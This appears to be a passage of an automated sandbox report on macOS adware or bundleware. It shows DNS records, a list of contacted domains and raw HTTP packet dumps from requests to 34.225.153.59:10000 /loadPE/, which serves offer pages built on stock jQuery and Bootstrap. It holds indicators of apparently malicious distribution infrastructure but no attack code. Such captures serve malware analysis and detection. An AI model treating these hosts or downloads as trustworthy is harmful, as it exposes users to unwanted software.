Feb 14, 2019 13:00:17.134685993 MEZ	8.8.8.8	192.168.0.50	0xd126	No error (0)	q.bstatic.com	q.lb.bstatic.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:17.134685993 MEZ	8.8.8.8	192.168.0.50	0xd126	No error (0)	q.lb.bstatic.com		5.57.17.99	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:17.212793112 MEZ	8.8.8.8	192.168.0.50	0xf0a8	No error (0)	t-ec.bstatic.com	cs716.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:17.212793112 MEZ	8.8.8.8	192.168.0.50	0xf0a8	No error (0)	cs716.wac.edgecastcdn.net		192.229.133.52	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

34.225.153.59:10000

install.osxappdownload.com

www.pintaj.pw

tusak.rached.space

www.rached.space

www.oplurb.space

cloud-search.linkury.com

svc-stats.linkury.com

stats.hkijngy.me

stats.macapproduct.com

search.tapufind.com

display.online-adnetwork.com

static.criteo.net

cas.criteo.com

cat.fr.eu.criteo.com

madmax.macapproduct.com

feed.tapufind.com

ocsp.int-x3.letsencrypt.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.0.50	49283	34.225.153.59	10000

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 12:59:26.228663921 MEZ	6	OUT	GET /loadPE//ListOffers.php HTTP/1.1 Host: 34.225.153.59:10000 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: keep-alive
Feb 14, 2019 12:59:26.365892887 MEZ	7	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.16 Set-Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1NjZ9LFwidGltZVwiOjE1NTAxNDU1NjZ9In0.KmGO_kmjL1a7NGYfAZEtR0CtNdS9mDg-LzDrIMRpAhM; expires=Sun, 17-Mar-2019 11:59:26 GMT; path=/ Data Raw: 31 66 34 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 54 6f 20 63 68 61 6e 67 65 20 74 68 69 73 20 6c 69 63 65 6e 73 65 20 68 65 61 64 65 72 2c 20 63 68 6f 6f 73 65 20 4c 69 63 65 6e 73 65 20 48 65 61 64 65 72 73 20 69 6e 20 50 72 6f 6a 65 63 74 20 50 72 6f 70 65 72 74 69 65 73 2e 0a 54 6f 20 63 68 61 6e 67 65 20 74 68 69 73 20 74 65 6d 70 6c 61 74 65 20 66 69 6c 65 2c 20 63 68 6f 6f 73 65 20 54 6f 6f 6c 73 20 7c 20 54 65 6d 70 6c 61 74 65 73 0a 61 6e 64 20 6f 70 65 6e 20 74 68 65 20 74 65 6d 70 6c 61 74 65 20 69 6e 20 74 68 65 20 65 64 69 74 6f 72 2e 0a 2d 2d 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 4f 44 4f 20 73 75 70 70 6c 79 20 61 20 74 69 74 6c 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 4a 61 76 61 53 63 72 69 70 74 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 62 6f 6f 74 73 74 72 61 70 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 6c 69 6e 6b 2c 61 3a 76 69 73 69 74 65 64 2c 61 3a 68 6f 76 65 72 2c 61 3a 61 63 74 69 76 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 Data Ascii: 1f46<!DOCTYPE html>...To change this license header, choose License Headers in Project Properties.To change this template file, choose Tools \| Templatesand open the template in the editor.--><html> <head> <title>TODO supply a title</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script src="JavaScript/jquery.min.js" type="text/javascript"></script> <link href="bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css"/> <script src="bootstrap/js/bootstrap.min.js" type="text/javascript"></script> <style> a:link,a:visited,a:hover,a:active { color: #000000;
Feb 14, 2019 12:59:26.438771963 MEZ	16	OUT	GET /loadPE//bootstrap/js/bootstrap.min.js HTTP/1.1 Host: 34.225.153.59:10000 Accept: / Connection: keep-alive Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1NjZ9LFwidGltZVwiOjE1NTAxNDU1NjZ9In0.KmGO_kmjL1a7NGYfAZEtR0CtNdS9mDg-LzDrIMRpAhM User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Accept-Language: en-us Referer: http://34.225.153.59:10000/loadPE//ListOffers.php Accept-Encoding: gzip, deflate
Feb 14, 2019 12:59:26.534523964 MEZ	17	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:26 GMT Content-Type: application/javascript Content-Length: 37045 Last-Modified: Wed, 11 Oct 2017 14:27:39 GMT Connection: keep-alive ETag: "59de2a5b-90b5" Accept-Ranges: bytes Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 33 2e 33 2e 37 20 28 68 74 74 70 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 36 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 2f 0a 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 69 70 74 20 72 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 22 29 3b 2b 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 62 3d 61 2e 66 6e 2e 6a 71 75 65 72 79 2e 73 70 6c 69 74 28 22 20 22 29 5b 30 5d 2e 73 70 6c 69 74 28 22 2e 22 29 3b 69 66 28 62 5b 30 5d 3c 32 26 26 62 5b 31 5d 3c 39 7c 7c 31 3d 3d 62 5b 30 5d 26 26 39 3d 3d 62 5b 31 5d 26 26 62 5b 32 5d 3c 31 7c 7c 62 5b 30 5d 3e 33 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 69 70 74 20 72 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 20 76 65 72 73 69 6f 6e 20 31 2e 39 2e 31 20 6f 72 20 68 69 67 68 65 72 2c 20 62 75 74 20 6c 6f 77 65 72 20 74 68 61 6e 20 76 65 72 73 69 6f 6e 20 34 22 29 7d 28 6a 51 75 65 72 79 29 2c 2b 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 62 6f 6f 74 73 74 72 61 70 22 29 2c 62 3d 7b 57 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 3a 22 77 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 4d 6f 7a 54 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 4f 54 72 61 6e 73 69 74 69 6f 6e 3a 22 6f 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 20 6f 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 74 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 7d 3b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 62 29 69 66 28 76 6f 69 64 20 30 21 3d 3d 61 2e 73 74 79 6c 65 5b 63 5d 29 72 65 74 75 72 6e 7b 65 6e 64 3a 62 5b 63 5d 7d 3b 72 65 74 75 72 6e 21 31 7d 61 2e 66 6e 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 21 31 2c 64 3d 74 68 69 73 3b 61 28 74 68 69 73 29 2e 6f 6e 65 28 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 3d 21 30 7d 29 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 7c 7c 61 28 64 29 2e 74 72 69 67 67 65 72 28 61 2e 73 75 70 70 6f 72 74 2e 74 72 61 6e 73 69 74 69 6f 6e 2e 65 6e 64 29 7d 3b 72 65 74 75 72 6e 20 73 65 74 54 69 6d 65 6f 75 74 28 65 2c 62 29 2c 74 68 69 73 7d 2c 61 28 66 75 6e 63 Data Ascii: /! Bootstrap v3.3.7 (http://getbootstrap.com) * Copyright 2011-2016 Twitter, Inc. * Licensed under the MIT license */if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9\|\|1==b[0]&&9==b[1]&&b[2]<1\|\|b[0]>3)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c\|\|a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(func
Feb 14, 2019 12:59:27.861012936 MEZ	289	OUT	GET /loadPE//Image/sideboard.png HTTP/1.1 Host: 34.225.153.59:10000 Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Connection: keep-alive Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1NjZ9LFwidGltZVwiOjE1NTAxNDU1NjZ9In0.KmGO_kmjL1a7NGYfAZEtR0CtNdS9mDg-LzDrIMRpAhM User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Accept-Language: en-us Referer: http://34.225.153.59:10000/loadPE//ListOffers.php Accept-Encoding: gzip, deflate
Feb 14, 2019 12:59:27.956980944 MEZ	290	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:27 GMT Content-Type: image/png Content-Length: 50336 Last-Modified: Thu, 12 Oct 2017 08:01:49 GMT Connection: keep-alive ETag: "59df216d-c4a0" Accept-Ranges: bytes Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c6 00 00 02 15 08 02 00 00 00 05 cc 17 a2 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 2a 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 36 37 32 39 2c 20 32 30 31 32 2f 30 35 2f 30 33 2d 31 33 3a 34 30 3a 30 33 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 45 6c 65 6d 65 6e 74 73 20 31 32 2e 30 20 57 69 6e 64 6f 77 73 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 33 36 36 41 45 35 38 31 41 46 32 33 31 31 45 37 42 37 46 37 41 38 38 34 45 35 30 37 38 35 42 38 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 33 36 36 41 45 35 38 32 41 46 32 33 31 31 45 37 42 37 46 37 41 38 38 34 45 35 30 37 38 35 42 38 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 33 36 36 41 45 35 37 46 41 46 32 33 31 31 45 37 42 37 46 37 41 38 38 34 45 35 30 37 38 35 42 38 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 33 36 36 41 45 35 38 30 41 46 32 33 31 31 45 37 42 37 46 37 41 38 38 34 45 35 30 37 38 35 42 38 22 2f 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 72 22 3f 3e b5 dd 65 b3 00 00 c1 0c 49 44 41 54 78 da ec bd d9 9b 5d d5 71 36 be ea 9c d3 ad 01 21 10 a0 01 21 81 40 20 10 12 92 18 03 36 f9 10 8e 07 b0 9d 0f 3b 31 1e 92 eb dc e6 26 ff 4e 2e f3 3c Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<*iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.146729, 2012/05/03-13:40:03 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop Elements 12.0 Windows" xmpMM:InstanceID="xmp.iid:366AE581AF2311E7B7F7A884E50785B8" xmpMM:DocumentID="xmp.did:366AE582AF2311E7B7F7A884E50785B8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:366AE57FAF2311E7B7F7A884E50785B8" stRef:documentID="xmp.did:366AE580AF2311E7B7F7A884E50785B8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>eIDATx]q6!!@ 6;1&N.<
Feb 14, 2019 12:59:30.983944893 MEZ	349	OUT	GET /loadPE/LastPage.html HTTP/1.1 Host: 34.225.153.59:10000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Upgrade-Insecure-Requests: 1 Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1NjZ9LFwidGltZVwiOjE1NTAxNDU1NjZ9In0.KmGO_kmjL1a7NGYfAZEtR0CtNdS9mDg-LzDrIMRpAhM User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: keep-alive
Feb 14, 2019 12:59:31.079811096 MEZ	351	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:31 GMT Content-Type: text/html Content-Length: 5938 Last-Modified: Wed, 15 Nov 2017 13:30:36 GMT Connection: keep-alive ETag: "5a0c417c-1732" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 54 6f 20 63 68 61 6e 67 65 20 74 68 69 73 20 6c 69 63 65 6e 73 65 20 68 65 61 64 65 72 2c 20 63 68 6f 6f 73 65 20 4c 69 63 65 6e 73 65 20 48 65 61 64 65 72 73 20 69 6e 20 50 72 6f 6a 65 63 74 20 50 72 6f 70 65 72 74 69 65 73 2e 0a 54 6f 20 63 68 61 6e 67 65 20 74 68 69 73 20 74 65 6d 70 6c 61 74 65 20 66 69 6c 65 2c 20 63 68 6f 6f 73 65 20 54 6f 6f 6c 73 20 7c 20 54 65 6d 70 6c 61 74 65 73 0a 61 6e 64 20 6f 70 65 6e 20 74 68 65 20 74 65 6d 70 6c 61 74 65 20 69 6e 20 74 68 65 20 65 64 69 74 6f 72 2e 0a 2d 2d 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 4a 61 76 61 53 63 72 69 70 74 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 43 53 53 2f 4d 61 63 53 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 45 64 69 74 54 69 74 6c 65 28 72 6f 77 4e 2c 20 76 61 6c 75 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 72 20 3d 20 24 28 27 23 73 74 62 6c 20 3e 20 74 62 6f 64 79 20 3e 20 74 72 27 29 2e 65 71 28 72 6f 77 4e 29 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 61 74 78 20 3d 20 27 74 64 3a 6e 74 68 2d 63 68 69 6c 64 28 31 29 27 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 64 20 3d 20 74 72 2e 66 69 6e 64 28 61 74 78 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 64 2e 68 74 6d 6c 28 76 61 6c 75 65 29 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 24 28 27 23 73 63 72 6f 6c 6c 44 69 76 27 29 2e 73 63 72 6f 6c 6c 54 6f 70 28 24 28 27 23 73 63 72 6f 6c 6c 44 69 76 27 29 5b 30 5d 2e 73 63 72 6f 6c 6c 48 65 69 67 68 74 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 45 64 69 74 53 74 61 74 75 73 28 72 6f 77 4e 2c 20 76 61 6c 75 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 72 20 3d 20 24 28 27 23 73 74 62 6c 20 3e 20 74 62 6f 64 79 20 3e 20 74 72 27 29 2e 65 71 Data Ascii: <!DOCTYPE html>...To change this license header, choose License Headers in Project Properties.To change this template file, choose Tools \| Templatesand open the template in the editor.--><html> <head> <title></title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script src="JavaScript/jquery.min.js" type="text/javascript"></script> <link href="CSS/MacStyle.css" rel="stylesheet" type="text/css"/> <script> function EditTitle(rowN, value) { var tr = $('#stbl > tbody > tr').eq(rowN); var atx = 'td:nth-child(1)'; var td = tr.find(atx); td.html(value); // $('#scrollDiv').scrollTop($('#scrollDiv')[0].scrollHeight); } function EditStatus(rowN, value) { var tr = $('#stbl > tbody > tr').eq
Feb 14, 2019 12:59:31.090440035 MEZ	357	OUT	GET /loadPE/JavaScript/jquery.min.js HTTP/1.1 Host: 34.225.153.59:10000 Accept: / Connection: keep-alive Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1NjZ9LFwidGltZVwiOjE1NTAxNDU1NjZ9In0.KmGO_kmjL1a7NGYfAZEtR0CtNdS9mDg-LzDrIMRpAhM User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Accept-Language: en-us Referer: http://34.225.153.59:10000/loadPE/LastPage.html Accept-Encoding: gzip, deflate
Feb 14, 2019 12:59:31.186331034 MEZ	364	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:31 GMT Content-Type: application/javascript Content-Length: 93868 Last-Modified: Wed, 11 Oct 2017 14:27:32 GMT Connection: keep-alive ETag: "59de2a54-16eac" Accept-Ranges: bytes Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 37 2e 31 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 79 28 61 29 7b 72 65 74 75 72 6e 20 66 2e 69 73 57 69 6e 64 6f 77 28 61 29 3f 61 3a 61 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 39 3f 61 2e 64 65 66 61 75 6c 74 56 69 65 77 7c 7c 61 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 76 28 61 29 7b 69 66 28 21 63 6b 5b 61 5d 29 7b 76 61 72 20 62 3d 63 2e 62 6f 64 79 2c 64 3d 66 28 22 3c 22 2b 61 2b 22 3e 22 29 2e 61 70 70 65 6e 64 54 6f 28 62 29 2c 65 3d 64 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 3b 64 2e 72 65 6d 6f 76 65 28 29 3b 69 66 28 65 3d 3d 3d 22 6e 6f 6e 65 22 7c 7c 65 3d 3d 3d 22 22 29 7b 63 6c 7c 7c 28 63 6c 3d 63 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 2c 63 6c 2e 66 72 61 6d 65 42 6f 72 64 65 72 3d 63 6c 2e 77 69 64 74 68 3d 63 6c 2e 68 65 69 67 68 74 3d 30 29 2c 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 6c 29 3b 69 66 28 21 63 6d 7c 7c 21 63 6c 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 63 6d 3d 28 63 6c 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 7c 7c 63 6c 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 2c 63 6d 2e 77 72 69 74 65 28 28 63 2e 63 6f 6d 70 61 74 4d 6f 64 65 3d 3d 3d 22 43 53 53 31 43 6f 6d 70 61 74 22 3f 22 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 22 3a 22 22 29 2b 22 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 22 29 2c 63 6d 2e 63 6c 6f 73 65 28 29 3b 64 3d 63 6d 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 63 6d 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 2c 65 3d 66 2e 63 73 73 28 64 2c 22 64 69 73 70 6c 61 79 22 29 2c 62 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 63 6c 29 7d 63 6b 5b 61 5d 3d 65 7d 72 65 74 75 72 6e 20 63 6b 5b 61 5d 7d 66 75 6e 63 74 69 6f 6e 20 63 75 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 3b 66 2e 65 61 63 68 28 63 71 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 63 71 2e 73 6c 69 63 65 28 30 2c 